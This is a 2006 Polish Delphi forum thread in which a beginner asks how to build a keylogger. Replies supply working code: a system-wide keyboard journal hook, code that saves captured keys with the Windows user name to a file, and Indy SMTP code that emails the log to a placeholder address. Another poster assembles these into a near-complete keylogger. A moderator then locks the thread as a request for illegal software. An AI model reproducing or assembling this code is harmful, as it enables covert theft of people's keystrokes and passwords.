Forum Coders' city Strona Gwna Coders' city
Nasza pasja to programowanie!
 

 PomocPomoc   SzukajSzukaj   UytkownicyUytkownicy   GrupyGrupy  RejestracjaRejestracja 
Archiwum starego forum + teoria    RSS & Panel/SideBar
 ProfilProfil   Zaloguj si, by sprawdzi wiadomociZaloguj si, by sprawdzi wiadomoci   ZalogujZaloguj 

Potrzebuj szybkiej odpowiedzi na moje pytanie... Zasady

Keylogger - jak to zrobi??



 
   Forum Coders' city Strona Gwna -> Pascal, Delphi, ...
Zobacz poprzedni temat :: Zobacz nastpny temat  
Autor Wiadomo
Karol



Doczy: 01 Cze 2006
Posty: 5
Skd: R?nie z tym bywa :P

PostWysany: Czw Cze 01, 2006 3:48 pm  OP    Temat postu: Keylogger - jak to zrobi?? Odpowiedz z cytatem Pisownia

Uwaga: to pytanie dotyczy Delphi!

Mam pytanko, jetem pocz?tkuj?cym programist? i wybra?em na pocz?tek cos z delhi (mam 7-k?). Chcia?bym zrobi? keyloggera (nauka i kolega jest ciekawy czy zrobi?), czy kto? mg?by mi pomc i czy jest mo?liwe ?ebym przy moim poziomie wiedzy to zrobi?? Prosz? :)
(Delphi)
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo Odwied stron autora Numer GG
Gatrun



Doczy: 17 Maj 2006
Posty: 51

PostWysany: Sob Cze 03, 2006 5:41 pm      Temat postu: Odpowiedz z cytatem Pisownia

du?o jest o tym w necie, jak napisa? - polecam http://www.google.pl

funkcja ktra za?apuje naci?ni?te klawisze (oczywi?cie na forme daj memo)
Kod:

var
Hook:Integer;
MessageBuffer:TEventMsg;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

a to dodaj do onCreate :
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;


(Delphi)

_________________


Ostatnio zmieniony przez Gatrun dnia Pon Cze 12, 2006 1:06 pm, w caoci zmieniany 1 raz
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo
piorun



Doczy: 30 Pa 2005
Posty: 239

PostWysany: Sob Cze 03, 2006 8:02 pm      Temat postu: Odpowiedz z cytatem Pisownia

Mo?esz zarejestrowa? te klawisze ktre chcesz przechwytywa? niezale?nie od tego czy aktualnie u?ywana jest twoja forma czy inny program, wi?cej poczytaj w temacie klawiatura.

P.s.
Nie wiem, czy jest inna ciekawsza metoda.
(Delphi)

_________________
Zagraj w Bubble
Moja galeria
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo Odwied stron autora Numer GG
Karol



Doczy: 01 Cze 2006
Posty: 5
Skd: R?nie z tym bywa :P

PostWysany: Sob Cze 03, 2006 8:50 pm  OP    Temat postu: Odpowiedz z cytatem Pisownia

Gatrun - ja nie widz? w tym kodzie gdzie jest adres mail na ktry ma by? wysy?any tekst!
(Delphi)
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo Odwied stron autora Numer GG
filiplis



Doczy: 29 Lis 2005
Posty: 37

PostWysany: Nie Cze 04, 2006 12:35 pm      Temat postu: Odpowiedz z cytatem Pisownia

Bo on ci napisa?
Cytat:
funkcja ktra za?apuje naci?ni?te klawisze

i tylko to, a nie kod ca?ego programu ??cznie z wysy?aniem itp.
(Delphi)
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo
Gatrun



Doczy: 17 Maj 2006
Posty: 51

PostWysany: Nie Cze 04, 2006 7:59 pm      Temat postu: Odpowiedz z cytatem Pisownia

Karol napisa:
Gatrun - ja nie widz? w tym kodzie gdzie jest adres mail na ktry ma by? wysy?any tekst!


no bo napisa?em ci tylko funkcje ktra przechwytuje naci?ni?te klawisze :)
Kod:
zapisuje naci?ni?te klawisze :
var
Plik : TextFile;
numer : string;
User : String;
Buff : DWORD;

begin
Buff := 12;
SetLength(User, Buff);
GetUserName(PChar(User), Buff);

numer := IntToStr(Llosowa);

AssignFile(Plik, numer + 'key.txt');
Rewrite(Plik);
Writeln(Plik, Memo1.Text);
Writeln(Plik, 'Zalogowany user: ' + User);
CloseFile(Plik);
end;



a teraz wysy?anie na emaila :
musisz wstawi? :
IdMessage - za zak?adki "Indy Misc"
- IdAntiFreeze - z zak?adki "Indy Misc"
- IdSMTP - z zak?adki "Indy Clients"
Kod:

IdMessage1.Body.Append('TRE?? MAILA');
IdMessage1.Recipients.EMailAddresses := 'ODBIORCA@ODBIORCA.PL';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'HAS?O DO KONTA';
idSMTP1.Username := 'NAZWA U?YTKOWNIKA';
idSMTP1.Host := 'HOST DO PO??CZENIA';
TIdAttachment.Create(IdMessage1.MessageParts, 'SCIE?KA DO PLIKU KTRY MA BY? W ZA??CZNIKU');
IdSMTP1.Connect;
try
  IdSMTP1.Send(IdMessage1);
finally
  IdSMTP1.Disconnect;
end;


(Delphi)

_________________
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo
Lul
Go





PostWysany: Nie Lip 09, 2006 1:54 pm      Temat postu: Odpowiedz z cytatem Pisownia

Mam pytanie, co mi jeszcze brakuje abym mia? porprawnie napisanego key logera?



var
Hook:Integer;
MessageBuffer:TEventMsg;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

a to dodaj do onCreate :
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;

IdMessage1.Body.Append('TRE?? MAILA');
IdMessage1.Recipients.EMailAddresses := 'mj mail tu jest';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'HAS?O DO KONTA';
idSMTP1.Username := 'NAZWA U?YTKOWNIKA';
idSMTP1.Host := 'HOST DO PO??CZENIA';
TIdAttachment.Create(IdMessage1.MessageParts, 'Application.ExeName');
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnec




I ewentualnie co i gdzie mam jeszcze doda?
(Delphi)
Powrt do gry
hicks
Site Admin


Doczy: 25 Maj 2005
Posty: 1252
Skd: DO-Wroc?aw

PostWysany: Sob Lip 15, 2006 11:39 pm      Temat postu: Odpowiedz z cytatem Pisownia

--- od moderatora: ---
W?tek zosta? zablokowany. Jedynym powodem czemu nie zosta? usuni?ty jest fakt, ?e zosta? wcze?niej przeoczony, a teraz si? rozwin?? i zawiera troch? przydatnych informacji. Nie mniej nie ?yczymy sobie na tym forum w?tkw z pro?bami o pomoc w tworzeniu nielegalnego oprogramowania jak wirusy, trojany czy keyloggery.

(Delphi)

_________________
Moje portfolio Oto ja
Powrt do gry
Zobacz profil autora Wylij prywatn wiadomo Odwied stron autora
Wywietl posty z ostatnich:   
   Forum Coders' city Strona Gwna -> Pascal, Delphi, ... Wszystkie czasy w strefie CET (Europa)

Strona 1 z 1

 
Skocz do:  
Moesz pisa nowe tematy
Moesz odpowiada w tematach
Nie moesz zmienia swoich postw
Nie moesz usuwa swoich postw
Nie moesz gosowa w ankietach
Moesz dodawa zaczniki na tym forum
Moesz pobiera pliki z tego forum




Debug: strone wygenerowano w 0.19930 sekund, zapytan = 12
contact

| Darmowe programy i porady Jelcyna | Tansze zakupy w Helionie | MS Office Blog |